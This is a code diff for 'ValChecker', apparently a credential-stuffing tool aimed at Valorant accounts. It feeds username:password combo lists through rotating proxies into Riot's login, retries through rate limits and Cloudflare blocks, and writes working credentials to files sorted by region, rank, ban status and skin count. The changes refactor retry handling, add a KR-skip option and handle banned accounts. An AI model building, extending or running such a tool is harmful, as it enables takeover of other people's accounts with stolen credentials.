diff --git a/requirements.txt b/requirements.txt index f575c00..25cab94 100644 --- a/requirements.txt +++ b/requirements.txt @@ -4,4 +4,5 @@ colorama keyboard InquirerPy aiohttp -clear \ No newline at end of file +clear +pywin32 \ No newline at end of file diff --git a/src/checker.py b/src/checker.py index 0a8206f..c5cf770 100644 --- a/src/checker.py +++ b/src/checker.py @@ -115,54 +115,44 @@ def __init__( self.parentpath = os.path.abspath(os.path.join(path, os.pardir)) print(proxylist) self.proxylist = proxylist - self.inrlimit = int(0) - self.max_rlimits = int(settings["max_rlimits"]) - self.rlimit_wait = int(settings["rlimit_wait"]) + self.inrlimit = 0 self.cooldown = int(settings["cooldown"]) - self.esttime = str("N/A") - self.newfolder = bool(settings["new_folder"]) - if self.newfolder: - dtnw = str(datetime.now()).replace(" ", "_").replace(":", ".") - self.outpath = self.parentpath + f"/output/{dtnw}" - os.mkdir(self.outpath) - else: - self.outpath = self.parentpath + "/output" + self.check_banned = bool(settings["check_banned"]) + self.esttime = "N/A" + dtnw = str(datetime.now()).replace(" ", "_").replace(":", ".") + self.outpath = self.parentpath + f"/output/{dtnw}" + os.mkdir(self.outpath) - self.send_tempban = bool(False) - self.send_woskins = bool(False) - self.send_wfshorty = bool(False) - self.send_stats = bool(False) - self.send_ukreg = bool(False) + self.skip_kr = bool(settings["skip_kr"]) # print(self.send_stats,self.send_tempban,self.send_ukreg,self.send_wfshorty,self.send_woskins) # input() - self.cpm = int(0) - self.startedcount = int(0) + self.cpm = 0 + self.startedcount = 0 self.cpmtext = str(self.cpm) - self.checked = int(0) - self.private = int(-1) + self.checked = 0 + self.private = -1 self.useAP = bool(settings["antipublic"]) if self.useAP: self.ap = antipublic.AntiPublic( str(settings["antipublic_token"]), settings["session"] ) if self.ap.test(): - self.private = int(0) + self.private = 0 self.useAP = True - self.valid = int(0) - self.banned = int(0) - self.tempbanned = int(0) - self.skins = int(0) - self.unverifiedmail = int(0) - self.err = int(0) - self.retries = int(0) - self.rlimits = int(0) - self.riotlimitinarow = int(0) - self.count = int(0) + else: + self.useAP = False + self.valid = 0 + self.banned = 0 + self.tempbanned = 0 + self.skins = 0 + self.unverifiedmail = 0 + self.err = 0 + self.retries = 0 + self.count = 0 self.validlist = [] - self.tempbannedlist = [] self.proxycount = len(proxylist) if self.proxylist is not None else 0 @@ -224,19 +214,19 @@ async def main( self.checked = input_.checked self.valid = input_.valid self.banned = input_.banned - self.tempbanned = len(input_.tempbanned) + self.tempbanned = input_.tempbanned self.skins = input_.wskins self.unverifiedmail = input_.umail self.err = input_.errors self.retries = input_.retries - self.rlimits = input_.rlimits - self.count = len(input_.tocheck + input_.checked) + self.count = len(input_.tocheck) + input_.checked self.ranks = input_.ranks self.skinsam = input_.skins self.locked = input_.locked self.regions = input_.regions accounts = input_.tocheck count = len(input_.tocheck) + vlchkr = input_ else: accounts = input_ open(f"{self.outpath}/record.vlchkr", "w").close() @@ -250,7 +240,7 @@ async def main( ) ) except ValueError: - self.threadam = int(1) + self.threadam = 1 self.threadam = int(( self.threadam if 5000 > self.threadam > 0 @@ -286,20 +276,18 @@ async def main( tasks.append(task) # print(f'Added task for account {us}:{ps}. Current tasks: {len(tasks)}') num += 1 - vlchkr.checked = int(self.checked) - vlchkr.valid = int(self.valid) - vlchkr.banned = int(self.banned) - vlchkr.tempbanned = list(self.tempbannedlist) - vlchkr.wskins = int(self.skins) - vlchkr.umail = int(self.unverifiedmail) - vlchkr.errors = int(self.err) - vlchkr.retries = int(self.retries) - vlchkr.rlimits = int(self.rlimits) - vlchkr.tocheck = list(accounts[num:]) - vlchkr.ranks = dict(self.ranks) - vlchkr.skins = dict(self.skinsam) - vlchkr.locked = int(self.locked) - vlchkr.regions = dict(self.regions) + vlchkr.checked = self.checked + vlchkr.valid = self.valid + vlchkr.banned = self.banned + vlchkr.wskins = self.skins + vlchkr.umail = self.unverifiedmail + vlchkr.errors = self.err + vlchkr.retries = self.retries + vlchkr.tocheck = accounts[num:] + vlchkr.ranks = self.ranks + vlchkr.skins = self.skinsam + vlchkr.locked = self.locked + vlchkr.regions = self.regions vlchkr.savefile() except Exception as e: print(e) @@ -325,7 +313,6 @@ async def main( async def checker(self, username, password) -> None: # print('running') - riotlimitinarow = int(0) proxy = sys.getproxy(self.proxylist) acc = str(f"{username}:{password}") space = str(" ") @@ -343,33 +330,11 @@ async def checker(self, username, password) -> None: ) self.err += 1 case 1: - if riotlimitinarow < self.max_rlimits: - if riotlimitinarow == 0: - self.inrlimit += 1 - # print(sys.center( - # f'riot limit. waiting {self.rlimit_wait} seconds')) - time.sleep(self.rlimit_wait) - riotlimitinarow += 1 - continue - else: - # if self.print_sys==True: - print( - sys.center( - f"{self.max_rlimits} riot limits in a row. skipping" - ) - ) - self.inrlimit -= 1 - riotlimitinarow = int(0) - self.rlimits += 1 - self.checked += 1 + self.retries += 1 + if self.retries % 10 == 0: self.printinfo() - with open( - f"{self.parentpath}/output/riot_limits.txt", - "a", - encoding="UTF-8", - ) as file: - file.write(f"\n{account.logpass}") - break + time.sleep(1) + continue case 6: proxy = sys.getproxy(self.proxylist) self.retries += 1 @@ -386,15 +351,17 @@ async def checker(self, username, password) -> None: self.printinfo() break case 4: - with open( - f"{self.outpath}/permbanned.txt", "a", encoding="UTF-8" - ) as file: - file.write(f"{account.logpass}\n") - self.banned += 1 - self.checked += 1 - self.printinfo() - time.sleep(self.cooldown) - break + if not self.check_banned: + with open( + f"{self.outpath}/permbanned.txt", "a", encoding="UTF-8" + ) as file: + file.write(f"{account.logpass}\n") + self.banned += 1 + self.checked += 1 + self.printinfo() + time.sleep(self.cooldown) + break + account.isPermbanned = True case 5: self.retries += 1 if self.retries % 10 == 0: @@ -402,104 +369,132 @@ async def checker(self, username, password) -> None: time.sleep(1) continue case _: - if self.useAP: - account.private = self.ap.check(account.logpass) - if account.unverifiedmail and account.banuntil is None: - self.unverifiedmail += 1 - while True: - sys.get_region(account) - if account.region is None: - sys.get_region2(account) - else: - sys.get_country_and_level_only(account) - - if account.region != "N/A" and account.region != "": - if account.banuntil is None: - self.regions[account.region.lower().strip()] += 1 - account.rank = None - try: - if ( - int(account.lvl) < 20 - and account.banuntil is None - ): - self.locked += 1 - account.rank = "locked" - except ValueError: - pass - if account.rank is None: - check.ranked(account) - if account.banuntil is None: - try: - self.ranks[ - account.rank.strip().lower().split(" ")[0] - ] += 1 - except Exception: - self.ranks["unknown"] += 1 - check.skins_en(account) - check.balance(account) - skinscount = len(account.skins) - if skinscount == 1 and account.skins[0] == "N/A": - skinscount = int(-1) - if skinscount > 0 and account.banuntil is None: - self.skins += 1 - if skinscount > 200: - self.skinsam["200+"] += 1 - elif skinscount > 165: - self.skinsam["165-200"] += 1 - elif skinscount > 130: - self.skinsam["130-165"] += 1 - elif skinscount > 100: - self.skinsam["100-130"] += 1 - elif skinscount > 70: - self.skinsam["70-100"] += 1 - elif skinscount > 40: - self.skinsam["40-70"] += 1 - elif skinscount > 35: - self.skinsam["35-40"] += 1 - elif skinscount > 20: - self.skinsam["20-35"] += 1 - elif skinscount > 10: - self.skinsam["10-20"] += 1 - else: - self.skinsam["1-10"] += 1 - check.lastplayed(account) - break + pass + if self.useAP: + account.private = self.ap.check(account.logpass) + if account.unverifiedmail and account.banuntil is None: + self.unverifiedmail += 1 + while True: + sys.get_region(account) + if account.region is None: + sys.get_region2(account) + else: + sys.get_country_and_level_only(account) + if account.region == "kr" and self.skip_kr: + break + if account.region != "N/A" and account.region != "": + if account.banuntil is None and not account.isPermbanned: + self.regions[account.region.lower().strip()] += 1 + account.rank = None + try: + if ( + int(account.lvl) < 20 + and account.banuntil is None + ): + self.locked += 1 + account.rank = "locked" + except ValueError: + pass + if account.rank is None: + check.ranked(account) + if account.banuntil is None and not account.isPermbanned: + try: + self.ranks[ + account.rank.strip().lower().split(" ")[0] + ] += 1 + except Exception: + self.ranks["unknown"] += 1 + check.skins_en(account) + check.balance(account) + skinscount = len(account.skins) + if skinscount == 1 and account.skins[0] == "N/A": + skinscount = int(-1) + if skinscount > 0 and account.banuntil is None and not account.isPermbanned: + self.skins += 1 + if skinscount > 200: + self.skinsam["200+"] += 1 + elif skinscount > 165: + self.skinsam["165-200"] += 1 + elif skinscount > 130: + self.skinsam["130-165"] += 1 + elif skinscount > 100: + self.skinsam["100-130"] += 1 + elif skinscount > 70: + self.skinsam["70-100"] += 1 + elif skinscount > 40: + self.skinsam["40-70"] += 1 + elif skinscount > 35: + self.skinsam["35-40"] += 1 + elif skinscount > 20: + self.skinsam["20-35"] += 1 + elif skinscount > 10: + self.skinsam["10-20"] += 1 else: - account.vp, account.rp = str("N/A"), str("N/A") - account.lastplayed = str("N/A") - if account.banuntil is None: - self.ranks["unknown"] += 1 - self.regions["unknown"] += 1 - account.rank = str("N/A") - skinscount = str("N/A") - account.skins = list(["N/A"]) - account.region = str("N/A") - break - # skinsformatted = '\n'.join(account.skins) - skinsformatted = str(f"║{space*61}║") - if len(account.skins) > 0: - skinsformatted = str("\n".join( - f"║{i+1}. {skin}{space*(61-len(f'{i+1}. {skin}'))}║" - for i, skin in enumerate(account.skins) - )) - banuntil = account.banuntil - unverifmail = account.unverifiedmail - lvl = account.lvl - reg = account.region - country = account.country - rank = account.rank - sysrank = rank.strip().lower().split(" ")[0] - lastplayed = account.lastplayed - vp = account.vp - rp = account.rp - - if account.banuntil is not None: - self.tempbanned += 1 - self.tempbannedlist.append(acc) - with open( - f"{self.outpath}/tempbanned.txt", "a", encoding="UTF-8" - ) as file: - file.write(f""" + self.skinsam["1-10"] += 1 + check.lastplayed(account) + break + else: + account.vp, account.rp = str("N/A"), str("N/A") + account.lastplayed = str("N/A") + if account.banuntil is None: + self.ranks["unknown"] += 1 + self.regions["unknown"] += 1 + account.rank = str("N/A") + skinscount = str("N/A") + account.skins = list(["N/A"]) + account.region = str("N/A") + break + if account.region == "kr" and self.skip_kr: + self.regions["kr"] += 1 + break + skinsformatted = str(f"║{space*61}║") + if len(account.skins) > 0: + skinsformatted = str("\n".join( + f"║{i+1}. {skin}{space*(61-len(f'{i+1}. {skin}'))}║" + for i, skin in enumerate(account.skins) + )) + banuntil = account.banuntil + unverifmail = account.unverifiedmail + lvl = account.lvl + reg = account.region + country = account.country + rank = account.rank + sysrank = rank.strip().lower().split(" ")[0] + lastplayed = account.lastplayed + vp = account.vp + rp = account.rp + if self.check_banned and account.isPermbanned: + self.banned += 1 + with open( + f"{self.outpath}/banned.txt", "a", encoding="UTF-8" + ) as file: + file.write(f""" +╔═════════════════════════════════════════════════════════════╗ +║ | {account.logpass} |{space*(49-len(f'| {account.logpass} |'))}║ +║ Permanently banned {space*(61-len(f' Permanently banned'))}║ +║ ║ +║ Full Access: {unverifmail} | Level: {lvl} | Region: {reg} , {country}{space*(61-len(f' Full Access: {unverifmail} | Level: {lvl} | Region: {reg} , {country}'))}║ +║ Rank: {rank} | Last Played: {lastplayed}{space*(61-len(f' Rank: {rank} | Last Played: {lastplayed}'))}║ +║ Valorant Points: {vp} | Radianite: {rp} | Skins: {skinscount}{space*(61-len(f' Valorant Points: {vp} | Radianite: {rp} | Skins: {skinscount}'))}║ +║ Creation date: {account.registerdate}{space*(61-len(f' Creation date: {account.registerdate}'))}║ +║ Gamename: {account.gamename}#{account.tagline}{space*(61-len(f' Gamename: {account.gamename}#{account.tagline}'))}║ +║ Private: {account.private}{space*(61-len(f' Private: {account.private}'))}║ +╠═════════════════════════════════════════════════════════════╣ +{skinsformatted} +╚═════════════════════════════════════════════════════════════╝ +""") + with open( + f"{self.outpath}/banned_raw.txt", + "a", + encoding="UTF-8", + ) as file: + file.write(account.logpass + "\n") + if account.banuntil is not None and not account.isPermbanned: + self.tempbanned += 1 + with open( + f"{self.outpath}/tempbanned.txt", "a", encoding="UTF-8" + ) as file: + file.write(f""" ╔═════════════════════════════════════════════════════════════╗ ║ | {account.logpass} |{space*(49-len(f'| {account.logpass} |'))}║ ║ Banned until {banuntil}{space*(61-len(f' Banned until {banuntil}'))}║ @@ -514,25 +509,17 @@ async def checker(self, username, password) -> None: {skinsformatted} ╚═════════════════════════════════════════════════════════════╝ """) - with open( - f"{self.outpath}/tempbanned_raw.txt", - "a", - encoding="UTF-8", - ) as file: - file.write(account.logpass + "\n") - else: - # with open(f'{self.parentpath}/output/valid.json','r+',encoding='utf-8') as f: - # data=json.load(f) - # temp=data['valid'] - # toadd={'LogPass':account,'region':reg,'rank':rank,'level':lvl,'lastmatch':lastplayed,'unverifiedmail':unverifmail,'vp':vp,'rp':rp,'skinscount':skinscount,f'skins':skins.strip('\n').split('\n')} - # temp.append(toadd) - # f.seek(0) - # json.dump(data, f, indent=4) - # f.truncate() - with open( - f"{self.outpath}/valid.txt", "a", encoding="UTF-8" - ) as file: - file.write(f""" + with open( + f"{self.outpath}/tempbanned_raw.txt", + "a", + encoding="UTF-8", + ) as file: + file.write(account.logpass + "\n") + if account.banuntil is None and not account.isPermbanned: + with open( + f"{self.outpath}/valid.txt", "a", encoding="UTF-8" + ) as file: + file.write(f""" ╔═════════════════════════════════════════════════════════════╗ ║ | {account.logpass} |{space*(49-len(f'| {account.logpass} |'))}║ ║ ║ @@ -547,31 +534,27 @@ async def checker(self, username, password) -> None: {skinsformatted} ╚═════════════════════════════════════════════════════════════╝ """) - with open( - f"{self.outpath}/valid_raw.txt", "a", encoding="UTF-8" - ) as file: - file.write(account.logpass + "\n") - # sort - if banuntil is None: - self.valid += 1 - self.validlist.append(acc) - bantext = " " - if rank != "N/A" and reg != "N/A": - if banuntil is not None: - bantext = f" Banned until {banuntil}" - if not exists(f"{self.outpath}/regions/"): - os.mkdir(f"{self.outpath}/regions/") - if not exists(f"{self.outpath}/regions/{reg}/"): - os.mkdir(f"{self.outpath}/regions/{reg}/") - with open( - f"{self.outpath}/regions/{reg}/{sysrank}.txt", - "a", - encoding="UTF-8", - ) as file: - file.write(f""" + with open( + f"{self.outpath}/valid_raw.txt", "a", encoding="UTF-8" + ) as file: + file.write(account.logpass + "\n") + # sort + self.valid += 1 + self.validlist.append(acc) + if rank != "N/A" and reg != "N/A": + if not exists(f"{self.outpath}/regions/"): + os.mkdir(f"{self.outpath}/regions/") + if not exists(f"{self.outpath}/regions/{reg}/"): + os.mkdir(f"{self.outpath}/regions/{reg}/") + with open( + f"{self.outpath}/regions/{reg}/{sysrank}.txt", + "a", + encoding="UTF-8", + ) as file: + file.write(f""" ╔═════════════════════════════════════════════════════════════╗ ║ | {account.logpass} |{space*(49-len(f'| {account.logpass} |'))}║ -║{bantext}{space*(61-len(bantext))}║ +║ ║ ║ ║ ║ Full Access: {unverifmail} | Level: {lvl} | Region: {reg} , {country}{space*(61-len(f' Full Access: {unverifmail} | Level: {lvl} | Region: {reg} , {country}'))}║ ║ Rank: {rank} | Last Played: {lastplayed}{space*(61-len(f' Rank: {rank} | Last Played: {lastplayed}'))}║ @@ -583,43 +566,43 @@ async def checker(self, username, password) -> None: {skinsformatted} ╚═════════════════════════════════════════════════════════════╝ """) - with open( - f"{self.outpath}/regions/{reg}/{sysrank}_raw.txt", - "a", - encoding="UTF-8", - ) as file: - file.write(account.logpass + "\n") - if skinscount > 0 and reg != "N/A" and banuntil is None: - if not exists(f"{self.outpath}/skins/"): - os.mkdir(f"{self.outpath}/skins/") - if skinscount > 200: - path = f"{self.outpath}/skins/200+/" - elif skinscount > 165: - path = f"{self.outpath}/skins/165-200/" - elif skinscount > 130: - path = f"{self.outpath}/skins/130-165/" - elif skinscount > 100: - path = f"{self.outpath}/skins/100-130/" - elif skinscount > 70: - path = f"{self.outpath}/skins/70-100/" - elif skinscount > 40: - path = f"{self.outpath}/skins/40-70/" - elif skinscount > 40: - path = f"{self.outpath}/skins/40-70/" - elif skinscount > 35: - path = f"{self.outpath}/skins/35-40/" - elif skinscount > 20: - path = f"{self.outpath}/skins/20-35/" - elif skinscount > 10: - path = f"{self.outpath}/skins/10-20/" - else: - path = f"{self.outpath}/skins/1-10/" - if not exists(path): - os.mkdir(path) - with open( - f"{path}/{reg}.txt", "a", encoding="UTF-8" - ) as file: - file.write(f""" + with open( + f"{self.outpath}/regions/{reg}/{sysrank}_raw.txt", + "a", + encoding="UTF-8", + ) as file: + file.write(account.logpass + "\n") + if skinscount > 0 and reg != "N/A": + if not exists(f"{self.outpath}/skins/"): + os.mkdir(f"{self.outpath}/skins/") + if skinscount > 200: + path = f"{self.outpath}/skins/200+/" + elif skinscount > 165: + path = f"{self.outpath}/skins/165-200/" + elif skinscount > 130: + path = f"{self.outpath}/skins/130-165/" + elif skinscount > 100: + path = f"{self.outpath}/skins/100-130/" + elif skinscount > 70: + path = f"{self.outpath}/skins/70-100/" + elif skinscount > 40: + path = f"{self.outpath}/skins/40-70/" + elif skinscount > 40: + path = f"{self.outpath}/skins/40-70/" + elif skinscount > 35: + path = f"{self.outpath}/skins/35-40/" + elif skinscount > 20: + path = f"{self.outpath}/skins/20-35/" + elif skinscount > 10: + path = f"{self.outpath}/skins/10-20/" + else: + path = f"{self.outpath}/skins/1-10/" + if not exists(path): + os.mkdir(path) + with open( + f"{path}/{reg}.txt", "a", encoding="UTF-8" + ) as file: + file.write(f""" ╔═════════════════════════════════════════════════════════════╗ ║ | {account.logpass} |{space*(49-len(f'| {account.logpass} |'))}║ ║ ║ @@ -634,10 +617,10 @@ async def checker(self, username, password) -> None: {skinsformatted} ╚═════════════════════════════════════════════════════════════╝ """) - with open( - f"{path}/{reg}_raw.txt", "a", encoding="UTF-8" - ) as file: - file.write(account.logpass + "\n") + with open( + f"{path}/{reg}_raw.txt", "a", encoding="UTF-8" + ) as file: + file.write(account.logpass + "\n") except Exception: with open( f"{self.parentpath}/log.txt", @@ -652,9 +635,6 @@ async def checker(self, username, password) -> None: self.checked += 1 if account.private: self.private += 1 - if riotlimitinarow > 0: - self.inrlimit -= 1 - riotlimitinarow = int(0) self.printinfo() time.sleep(self.cooldown) break @@ -671,25 +651,25 @@ def printinfo(self) -> None: self.cpm = int(self.checked - self.startedcount) self.startedtesting = sys.getmillis() self.startedcount = int(self.checked) - self.cpmtext = str(f"↑ {self.cpm}" if self.cpm > prevcpm else f"↓ {self.cpm}") + self.cpmtext = f"↑ {self.cpm}" if self.cpm > prevcpm else f"↓ {self.cpm}" if self.cpm > 0: self.esttime = sys.convert_to_preferred_format( round((self.count - self.checked) / self.cpm * 60) ) else: - self.esttime = str("N/A") + self.esttime = "N/A" reset = Fore.RESET cyan = Fore.CYAN green = Fore.LIGHTGREEN_EX red = Fore.LIGHTRED_EX - space = str(" ") - privatepercent = str("-1%") + space = " " + privatepercent = "-1%" if self.useAP: privatepercent = float(self.private / self.valid * 100 if self.valid != 0 else 0.0) - privatepercent = str(f"{str(round(privatepercent,1))}%") + privatepercent = f"{str(round(privatepercent,1))}%" percent = float(self.valid / self.checked * 100 if self.checked != 0 else 0.0) - percent = str(f"{str(round(percent,1))}%") + percent = f"{str(round(percent,1))}%" ctypes.windll.kernel32.SetConsoleTitleW( f"ValChecker {self.version} | Checked {self.checked}/{self.count} | {self.cpmtext} CPM | Hitrate {percent} | Private Rate {privatepercent} | Est. time: {self.esttime} | {self.comboname}" ) @@ -705,9 +685,9 @@ def printinfo(self) -> None: {cyan} ┃ [{reset}>{cyan}] {reset}Valid >>:{cyan}[{green}{self.valid}{cyan}] ({percent}){space * (9 - len(str(self.valid))-len(percent))}┃ ┃ [{reset}>{cyan}] {reset}EU >>:{cyan}[{green}{self.regions['eu']}{cyan}]{space * (18 - len(str(self.regions['eu'])))}┃ ┃ [{reset}>{cyan}] {reset}1-10 >>:{cyan}[{green}{self.skinsam['1-10']}{cyan}]{space * (29 - len(str(self.skinsam['1-10'])))}┃ {cyan} ┃ [{reset}>{cyan}] {reset}Banned >>:{cyan}[{red}{self.banned}{cyan}]{space * (12 - len(str(self.banned)))}┃ ┃ [{reset}>{cyan}] {reset}NA >>:{cyan}[{green}{self.regions['na']}{cyan}]{space * (18 - len(str(self.regions['na'])))}┃ ┃ [{reset}>{cyan}] {reset}10-20 >>:{cyan}[{green}{self.skinsam['10-20']}{cyan}]{space * (29 - len(str(self.skinsam['10-20'])))}┃ {cyan} ┃ [{reset}>{cyan}] {reset}TempBanned >>:{cyan}[{Fore.YELLOW}{self.tempbanned}{cyan}]{space * (12 - len(str(self.tempbanned)))}┃ ┃ [{reset}>{cyan}] {reset}AP >>:{cyan}[{green}{self.regions['ap']}{cyan}]{space * (18 - len(str(self.regions['ap'])))}┃ ┃ [{reset}>{cyan}] {reset}20-35 >>:{cyan}[{green}{self.skinsam['20-35']}{cyan}]{space * (29 - len(str(self.skinsam['20-35'])))}┃ -{cyan} ┃ [{reset}>{cyan}] {reset}Rate Limits >>:{cyan}[{red}{self.rlimits}{cyan}]{space * (12 - len(str(self.rlimits)))}┃ ┃ [{reset}>{cyan}] {reset}BR >>:{cyan}[{green}{self.regions['br']}{cyan}]{space * (18 - len(str(self.regions['br'])))}┃ ┃ [{reset}>{cyan}] {reset}35-40 >>:{cyan}[{green}{self.skinsam['35-40']}{cyan}]{space * (29 - len(str(self.skinsam['35-40'])))}┃ -{cyan} ┃ [{reset}>{cyan}] {reset}Errors >>:{cyan}[{red}{self.err}{cyan}]{space * (12 - len(str(self.err)))}┃ ┃ [{reset}>{cyan}] {reset}KR >>:{cyan}[{green}{self.regions['kr']}{cyan}]{space * (18 - len(str(self.regions['kr'])))}┃ ┃ [{reset}>{cyan}] {reset}40-70 >>:{cyan}[{green}{self.skinsam['40-70']}{cyan}]{space * (29 - len(str(self.skinsam['40-70'])))}┃ -{cyan} ┃ [{reset}>{cyan}] {reset}Retries >>:{cyan}[{Fore.YELLOW}{self.retries}{cyan}]{space * (12 - len(str(self.retries)))}┃ ┃ [{reset}>{cyan}] {reset}LATAM >>:{cyan}[{green}{self.regions['latam']}{cyan}]{space * (18 - len(str(self.regions['latam'])))}┃ ┃ [{reset}>{cyan}] {reset}70-100 >>:{cyan}[{green}{self.skinsam['70-100']}{cyan}]{space * (29 - len(str(self.skinsam['70-100'])))}┃ +{cyan} ┃ [{reset}>{cyan}] {reset}Errors >>:{cyan}[{red}{self.err}{cyan}]{space * (12 - len(str(self.err)))}┃ ┃ [{reset}>{cyan}] {reset}BR >>:{cyan}[{green}{self.regions['br']}{cyan}]{space * (18 - len(str(self.regions['br'])))}┃ ┃ [{reset}>{cyan}] {reset}35-40 >>:{cyan}[{green}{self.skinsam['35-40']}{cyan}]{space * (29 - len(str(self.skinsam['35-40'])))}┃ +{cyan} ┃ [{reset}>{cyan}] {reset}Retries >>:{cyan}[{Fore.YELLOW}{self.retries}{cyan}]{space * (12 - len(str(self.retries)))}┃ ┃ [{reset}>{cyan}] {reset}KR >>:{cyan}[{green}{self.regions['kr']}{cyan}]{space * (18 - len(str(self.regions['kr'])))}┃ ┃ [{reset}>{cyan}] {reset}40-70 >>:{cyan}[{green}{self.skinsam['40-70']}{cyan}]{space * (29 - len(str(self.skinsam['40-70'])))}┃ +{cyan} ┃ ┃ ┃ [{reset}>{cyan}] {reset}LATAM >>:{cyan}[{green}{self.regions['latam']}{cyan}]{space * (18 - len(str(self.regions['latam'])))}┃ ┃ [{reset}>{cyan}] {reset}70-100 >>:{cyan}[{green}{self.skinsam['70-100']}{cyan}]{space * (29 - len(str(self.skinsam['70-100'])))}┃ {cyan} ┃ ┃ ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛ ┃ [{reset}>{cyan}] {reset}100-130 >>:{cyan}[{green}{self.skinsam['100-130']}{cyan}]{space * (29 - len(str(self.skinsam['100-130'])))}┃ {cyan} ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛ ┏━━ Ranks ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓ ┃ [{reset}>{cyan}] {reset}130-165 >>:{cyan}[{green}{self.skinsam['130-165']}{cyan}]{space * (29 - len(str(self.skinsam['130-165'])))}┃ {cyan} ┏━ Not main ━━━━━━━━━━━━━━━━━━━━━━━━━━┓ ┃ [{reset}>{cyan}] {reset}Unranked >>:{cyan}[{green}{self.ranks['unranked']}{cyan}]{space * (18 - len(str(self.ranks['unranked'])))}┃ ┃ [{reset}>{cyan}] {reset}165-200 >>:{cyan}[{green}{self.skinsam['165-200']}{cyan}]{space * (29 - len(str(self.skinsam['165-200'])))}┃ diff --git a/src/codeparts/auth.py b/src/codeparts/auth.py index b606d7a..c553cdf 100644 --- a/src/codeparts/auth.py +++ b/src/codeparts/auth.py @@ -96,7 +96,7 @@ async def auth(self, logpass : str = None, username : str =None, password : str #input(data) except Exception as e: #input(e) - account.code = int(6) + account.code = 6 await authsession.close() return account r2text = str(await r.text()) @@ -106,7 +106,7 @@ async def auth(self, logpass : str = None, username : str =None, password : str await authsession.close() if self.isDebug: input(traceback.format_exc()) - account.code = int(6) + account.code = 6 return account if "access_token" in r2text: pattern = compile( @@ -116,22 +116,22 @@ async def auth(self, logpass : str = None, username : str =None, password : str token = data[0] token_id = data[1] elif 'invalid_session_id' in r2text: - account.code = int(6) + account.code = 6 return account elif "auth_failure" in r2text: - account.code = int(3) + account.code = 3 return account elif 'rate_limited' in r2text: - account.code = int(1) + account.code = 1 return account elif 'multifactor' in r2text: - account.code = int(3) + account.code = 3 return account elif 'cloudflare' in r2text: - account.code = int(5) + account.code = 5 return account else: - account.code = int(3) + account.code = 3 return account headers = dict({ @@ -144,7 +144,7 @@ async def auth(self, logpass : str = None, username : str =None, password : str r = session.post(Constants.USERINFO_URL, headers=headers, json={}, proxies=proxy) except Exception as e: - account.code = int(6) + account.code = 6 return account # print(r.text) # input() @@ -159,35 +159,34 @@ async def auth(self, logpass : str = None, username : str =None, password : str int(register_date) / 1000.0) puuid = data['sub'] try: - # input(data) + #input(data) data2 = data['ban'] # input(data2) data3 = data2['restrictions'] # input(data3) - typebanned = data3[0]['type'] - # input(typebanned) - # input(typebanned) - if typebanned == "PERMANENT_BAN" or typebanned == 'PERMA_BAN': - account.code = int(4) - return account - elif 'PERMANENT_BAN' in str(data3) or 'PERMA_BAN' in str(data3): - # input(True) - account.code = int(4) - return account - elif typebanned == 'TIME_BAN' or typebanned == 'LEGACY_BAN': - expire = data3[0]['dat']['expirationMillis'] - expirepatched = datetime.fromtimestamp( - int(expire) / 1000.0) - if expirepatched > datetime.now() + timedelta(days=365 * 20): - account.code = int(4) - return account - banuntil = expirepatched - else: + if len(data3) == 0: banuntil = None - pass - except Exception: + else: + typebanned = data3[0]['type'] + if typebanned == "PERMANENT_BAN" or typebanned == 'PERMA_BAN': + account.code = int(4) + banuntil = None + elif 'PERMANENT_BAN' in str(data3) or 'PERMA_BAN' in str(data3): + account.code = int(4) + banuntil = None + elif typebanned == 'TIME_BAN' or typebanned == 'LEGACY_BAN': + expire = data3[0]['dat']['expirationMillis'] + expirepatched = datetime.fromtimestamp( + int(expire) / 1000.0) + if expirepatched > datetime.now() + timedelta(days=365 * 20): + account.code = 4 + banuntil = expirepatched + else: + banuntil = None + pass + except Exception as e: # print(Exception) - # input(Exception) + #input(e) banuntil = None pass try: @@ -222,8 +221,8 @@ async def auth(self, logpass : str = None, username : str =None, password : str print(token) input() return account - except Exception: - #input(Exception) + except Exception as e: + input(traceback.format_exc()) account.errmsg = str(traceback.format_exc()) account.code = int(2) return account diff --git a/src/codeparts/systems.py b/src/codeparts/systems.py index bfec81d..0926f6a 100644 --- a/src/codeparts/systems.py +++ b/src/codeparts/systems.py @@ -151,20 +151,18 @@ def edit_settings(): os.system('cls') f = open('system\\settings.json', 'r+') data = json.load(f) - max_rlimits = data['max_rlimits'] - rlimit_wait = data['rlimit_wait'] cooldown = data['cooldown'] - create_folder = data['new_folder'] + skip_kr = data['skip_kr'] antipublic = data["antipublic"] antipublic_token = data["antipublic_token"] + check_banned = data["check_banned"] menu_choices = [ Separator(), - f'RLimits to skip an acc: {max_rlimits}', - f'Wait if there is a RLimit (seconds): {rlimit_wait}', f'Wait between checking accounts (seconds): {cooldown}', - f'Create folder for every check: {create_folder}', + f'Skip korean (kr region) accounts: {skip_kr}', f'Participate in AntiPublic (alpha): {antipublic}', f'AntiPublic token: {antipublic_token}', + f'Check banned accounts: {check_banned}', Separator(), 'Exit' ] @@ -175,45 +173,25 @@ def edit_settings(): pointer='>' ).execute() if edit == menu_choices[1]: - new_rlimits = input( - 'enter the number of riot limits to skip this account (min 1) >>>') - if int(new_rlimits) < 1 or int(new_rlimits) > 999: - return - try: - data['max_rlimits'] = int(new_rlimits) - except: - print('u have to type a num from 1 to 999 (3 recommended)') - return - elif edit == menu_choices[2]: - new_maxrlimits = input( - 'enter the number of seconds to wait if there is a riot limit (min 1) >>>') - if int(new_maxrlimits) < 1 or int(new_maxrlimits) > 99999: - return - try: - data['rlimit_wait'] = int(new_maxrlimits) - except: - print('u have to type a num from 1 to 99999 (30 recommended)') - return - elif edit == menu_choices[3]: new_cd = input( 'enter the number of seconds to wait between checking accounts (min 0) >>>') if int(new_cd) < 0 or int(new_cd) > 99999: return data['cooldown'] = int(new_cd) - elif edit == menu_choices[4]: - createfolder = [ + elif edit == menu_choices[2]: + answ = [ Separator(), 'Yes', 'No' ] - newfolder = inquirer.select( - message='do you want to create a new folder every time u start the checker?', - choices=createfolder, - default=createfolder[0], + sdadsa = inquirer.select( + message='do you want to skip KR accounts (completely useless)?', + choices=answ, + default=answ[0], pointer='>' ).execute().replace('Yes', 'True').replace('No', 'False') - data['new_folder'] = newfolder - elif edit == menu_choices[5]: + data['skip_kr'] = sdadsa + elif edit == menu_choices[3]: vars = [ Separator(), 'Yes', @@ -226,10 +204,23 @@ def edit_settings(): pointer='>' ).execute().replace('Yes', 'True').replace('No', 'False') data['antipublic'] = resp - elif edit == 